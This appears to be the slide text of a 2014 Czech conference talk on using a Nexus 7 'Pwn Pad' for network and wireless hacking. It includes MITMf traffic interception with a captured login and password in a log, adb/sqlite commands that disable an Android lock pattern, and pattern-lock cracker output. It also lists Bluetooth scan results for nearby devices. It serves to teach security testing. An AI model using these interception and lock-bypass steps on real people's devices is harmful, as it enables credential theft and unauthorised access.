Nexus 7 Kali Linux
Network hacking
infinity
CTJB 2014
root@PwnPad:~# whoami
infinity
Kamil Vavra
twitter.com/vavkamil
[email protected]
github.com/vavkamil
sprvce st
Mendelova univerzita v
Brn
Presentation Transcript
xexexe
Presentation Transcript
Defensive
xexexe
Offensive
xerexexe
Evolution
Evolution
Evolution
Evolution
RFID ~ Mifare Classic
Instalace
https://www.pwnieexpress.com/community/
Pwn Phone 2014 (using Nexus 5)
Download Pwn Phone 2014 (for 16GB/32GB Nexus 5 phones)
Pwn Pad 2014 (using the Nexus 7 2013 tablet)
Download Pwn Pad 2014 (for 2013 edition Nexus 7 tablets)
Pwn Pad 2013 (using the Nexus 7 2012 tablet)
Download Pwn Pad 2013 (for 2012 edition Nexus 7 tablets)
Instalace
infinity@desktop:~$ tar xvf pwnpad-2013_image.tar.xz
infinity@desktop:~$ cd pwnie_img/
infinity@desktop:~/pwnie_img$ sudo chmod +x imagev2.sh
infinity@desktop:~/pwnie_img$ sudo adb start-server
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
infinity@desktop:~/pwnie_img$ sudo ./imagev2.sh
Fastboot Android utilities are required to flash the PwnPad image onto the Nexus7
android-tools-adb android-tools-fastboot
Would you like to automatically install the required tools? (Ubuntu 12.04 only)
1. Yes
2. No
Choice: 2
Not installing fastboot and adb tools
Instalace
Which Nexus 7 (2012 HW) would you like to install the
PwnPad onto?
1. 8GB
2. 16GB
3. 32GB Wifi
4. 32GB Wifi + GSM
Choice (1-4): 2
Instalace
=== Pwn Pad 2014 Installer ===
A Mobile Pentesting platform by PwnieExpress.com
------------------------------------------------------------------WARNING: THIS WILL WIPE ALL DATA ON THE DEVICE!
Pwnie Express is not responsible for data loss resulting from the
use of this installer. Backup critical data before continuing!
------------------------------------------------------------------Press ENTER to continue, CTRL+C to abort.
Boot the device into fastboot mode (hold power and volume down).
Attach the device via USB once in fastboot mode.
Press [Enter] key to continue...
Instalace
[+] Unlock the device
...
(bootloader) Bootloader is already unlocked
OKAY [ 0.020s]
finished. total time: 0.020s
[+] Flash the recovery partition with TWRP recovery image
sending 'recovery' (8106 KB)...
OKAY [ 8.655s]
writing 'recovery'...
OKAY [ 2.563s]
finished. total time: 11.218s
Instalace
[+] Erase the boot partition
erasing 'boot'...
OKAY [ 0.026s]
finished. total time: 0.026s
[+] Flash the boot partition with Pwn Pad boot image
sending 'boot' (4898 KB)...
OKAY [ 5.211s]
writing 'boot'...
OKAY [ 0.322s]
finished. total time: 5.533s
Instalace
[+] Erase and format system partition
******** Did you mean to fastboot format this partition?
erasing 'system'...
OKAY [ 0.307s]
finished. total time: 0.307s
erasing 'system'...
OKAY [ 0.107s]
formatting 'system' partition...
Creating filesystem with parameters:
Size: 681574400
Block size: 4096
Blocks per group: 32768
Inodes per group: 6944
Inode size: 256
Journal blocks: 2600
Label:
Blocks: 166400
Block groups: 6
Reserved block group size: 47
Created filesystem with 11/41664 inodes and 5415/166400 blocks
sending 'system' (12416 KB)...
writing 'system'...
OKAY [ 13.989s]
finished. total time: 14.097s
Instalace
[+] Erase & format the user data partition
******** Did you mean to fastboot format this partition?
erasing 'userdata'...
OKAY [ 11.318s]
finished. total time: 11.318s
erasing 'userdata'...
OKAY [ 2.311s]
formatting 'userdata' partition...
Creating filesystem with parameters:
Size: 14569963520
Block size: 4096
Blocks per group: 32768
Inodes per group: 8160
Inode size: 256
Journal blocks: 32768
Label:
Blocks: 3557120
Block groups: 109
Reserved block group size: 871
Created filesystem with 11/889440 inodes and 97309/3557120 blocks
sending 'userdata' (137563 KB)...
writing 'userdata'...
OKAY [158.601s]
finished. total time: 160.912s
Instalace
[+] Booting into TWRP Recovery
downloading 'boot.img'...
OKAY [ 8.645s]
booting...
OKAY [ 0.019s]
finished. total time: 8.664s
Current serial number of connected Nexus is: 015d49069c53fa09
Pushing TWRP backup to be restored to device...
Instalace
Rebooting recovery....
Restoring PwnPad image....Please wait for device to reboot.
DO NOT INTERUPT THE PROCESS ON THE DEVICE,
TWRP WILL DISPLAY RESTORE COMPLETE BUT
PROCESS WILL NOT BE FINISHED UNTIL IT REBOOTS
ON ITS OWN
Kismet
more_stuff
What's the WiFi Password ?
Phishing
Hacking
Vchoz prosted
Vchoz prosted
Vchoz prosted
Vchoz prosted
Vchoz prosted
Vchoz prosted
Alfa
Alfa2
Zvody ve zbrojen
Android - Privacy applications
Cryptonite ~ open-source file encryption
Android - Privacy applications
Orbot ~ Proxy with Tor
Android - Privacy applications
Orweb ~ Private Web Browser
Android - File Browsers
ES File Explorer ~ File Manager
Android - File Browsers
Root Browser ~ the ultimate file manager for rooted users
Android - Network Tools
Fing ~ Network Tools
Android - Network Tools
JuiceSSH ~ SSH Client
Android - RFID Tools
NFC TagInfo ~ NFC tags
Android - RFID Tools
NFC TagInfo by NXP ~
Android - RFID Tools
NFC Tag Cloner ~ Clone NFC tags!
Android - Wireless Tools
Wifi Analyzer ~ Wi-Fi channels around you
Android - Wireless Tools
Pry-Fi ~ Big Brother is Watching You
Android - Wireless Tools
Wifi Tracker ~
Android - Wireless Tools
Wifi Protector ~ Detects and protects from MITM
Android - Wireless Tools
WiFi Pass Recovery ~ all wireless passwords stored on
your device
Android - Wireless Tools
WiFinspect ~ security audit tool
Android - Other Tools
Hacker's Keyboard ~
Android - Other Tools
StickMount ~ Automatically mount and dismount USB
Bluetooth
[09/09/14 11:06:33] Scan started on 00:10:60:D1:85:76
[09/09/14 11:06:38],B8:5E:7B:9D:0D:CD,0x5a020c,Galaxy Note3
[09/09/14 11:06:45],B8:C6:8E:C2:2D:5D,0x5a0204,S5610
[09/09/14 11:06:59],BC:47:60:92:5A:46,0x5a0204,Manicka 1997
[09/09/14 11:07:04],00:1D:98:4C:86:DE,0x5a0204,Hanicka
[09/09/14 11:07:08],E0:A6:70:6E:C9:81,0x5a0204,Nokia 2730
classic
[09/09/14 11:07:13],A0:82:1F:5C:78:4B,0x5a020c,Mrs.Kejt
[09/09/14 11:07:53],34:C3:AC:91:AE:E2,0x5a0204,C3050
[09/09/14 11:08:05],30:69:4B:CD:BF:8E,0x7a020c,BlackBerry
9700
[09/09/14 11:08:12],A8:44:81:65:01:E2,0x520204,206
Bluetooth
BD Address:
B8:5E:7B:9D:0D:CD [mode 1, clkoffset 0x113c]
Device name: Galaxy Note3
Device class:
Manufacturer: Broadcom Corporation (15)
Phone, Smart phone (0x5a020c)
BD Address:
0C:A6:94:6B:0F:3A [mode 1, clkoffset 0x125e]
Device name: SONY:SRS-X3
Device class:
Audio/Video, Loudspeaker (0x240414)
BD Address:
78:6A:89:69:4B:7F [mode 1, clkoffset 0x368a]
Device name: HUAWEI Y300-0100
Device class:
Phone, Smart phone (0x58020c)
BD Address:
40:5F:BE:69:10:67 [mode 1, clkoffset 0x53eb]
Device name: BlackBerry 9700
Device class:
Manufacturer: Cambridge Silicon Radio (10)
Phone, Smart phone (0x7a020c)
MITMf
https://github.com/byt3bl33d3r/MITMf
Spoof - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects
BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type
AppCachePoison - Perform app cache poison attacks
BrowserProfiler - Attempts to enumerate all browser plugins of connected
clients
FilePwn - Backdoor executables being sent over http using bdfactory
JavaPwn - Performs drive-by attacks on clients with out-of-date java browser
plugins
MITMf
package com.kalipwn.mitmf;
import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
public class MainActivity extends Activity
@Override
protected void onCreate (Bundle savedInstanceState)
super.onCreate(savedInstanceState);
Intent i = new Intent("jackpal.androidterm.RUN_SCRIPT");
i.addCategory(Intent.CATEGORY_DEFAULT);
i.putExtra("jackpal.androidterm.iInitialCommand", "su \rbootpwn \rcd /opt/pwnix/pwnpad-scripts/ \rsh /opt/pwnix/pwnpad-scripts/mitmf.sh");
startActivity(i);
finish();
MITMf
2014-09-01 07:29:55 192.168.43.5 Sending Request: GET www.seznam.cz
2014-09-01 07:29:55 192.168.43.5 Sending Request: GET www.seznam.cz
2014-09-01 07:29:55 192.168.43.5 Sending Request: GET www.seznam.cz
2014-09-01 07:29:56 192.168.43.5 Sending Request: GET h.imedia.cz
2014-09-01 07:30:20 192.168.43.5 SECURE POST Data (login.szn.cz):
loggedURL=http%3A%2F
%2Femail.seznam.cz&serviceId=email&forceSSL=1&username=teest1&domai
n=post.cz&password=heslo12345&js=1
2014-09-01 07:30:20 192.168.43.5 Sending Request: GET login.seznam.cz
2014-09-01 07:30:21 192.168.43.5 Sending Request: GET email.seznam.cz
Apps
Project Bionic Yourself (B10N1C)
Project Bionic Yourself (B10N1C) is a small implant for
your arm that makes you a bionic-superhero. The idea
comes from utilizing technology to give you a super ability
such as wireless control devices by moving a single finger,
sense electromagnetic fields, and even scan RFID keys
while all being stored inside your body. While these are a
few examples, the possibilities range much further. It's also
a user-integrated hacker tool that has the opportunity to
change life as we know it.
B10N1C
B10N1C
dangerousthings.com
dangerousthings.com
dangerousthings.com
Howto: Unlock Lock Pattern
adb shell
cd /data/data/com.android.providers.settings/databases
sqlite3 settings.db
update system set value=0 where
name='lock_pattern_autolock';
update system set value=0 where
name='lockscreen.lockedoutpermanently';
.quit
Secure USB Debugging Bypass
Android 4.4.2 Secure USB Debugging Bypass
A vulnerability found in Android 4.2.2-4.4.2 allowed
attackers to bypass Androids secure USB debugging, this
allowed attackers to access adb prior to unlocking the
device.
SoftwareAndroidAffected VersionsAndroid 4.2.2-4.4.2CVE
ReferenceAuthorsHenry Hoggard, MWR Labs
(https://labs.mwrinfosecurity.com)SeverityMediumVendorG
oogleVendor ResponseFixed in Android 4.4.3
sch3m4/androidpatternlock
################################
# Android Pattern Lock Cracker #
# ---------------------------- #
# Written by Chema Garcia
http://safetybits.net
[email protected]
################################
v0.1
@sch3m4
#
#
#
#
sch3m4/androidpatternlock
[+] Checking length 3
[+] Checking length 4
[+] Checking length 5
[+] Checking length 6
[+] Checking length 7
[+] Checking length 8
[+] Checking length 9
[:D] The pattern has been FOUND!!! => 210345876
sch3m4/androidpatternlock
[+] Gesture:
----- ----- -----
|3| |2| |1|
----- ----- -----
----- ----- -----
|4| |5| |6|
----- ----- -----
----- ----- -----
|9| |8| |7|
----- ----- -----
sch3m4/androidpatternlock
Really, the pattern lock is the SHA1 hash sequence of
digits (0-8) with length from 3 (4 since Android 2.3.3) to 8.
Since Android does not allows the pattern to repeat "balls"
and it does not use a salt when computing the SHA1 hash,
it really takes a very short period of time to crack the hash
and get the pattern.
zANTI
One-click audits under your thumb
zANTI is a comprehensive network diagnostics toolkit that
enables complex audits and penetration tests at the push
of a button. It provides cloud-based reporting that walks
you through simple guidelines to ensure network safety.
zANTI
RFID cooking
Github
https://github.com/vavkamil/Pwn-Pad-Arsenal-Too
ls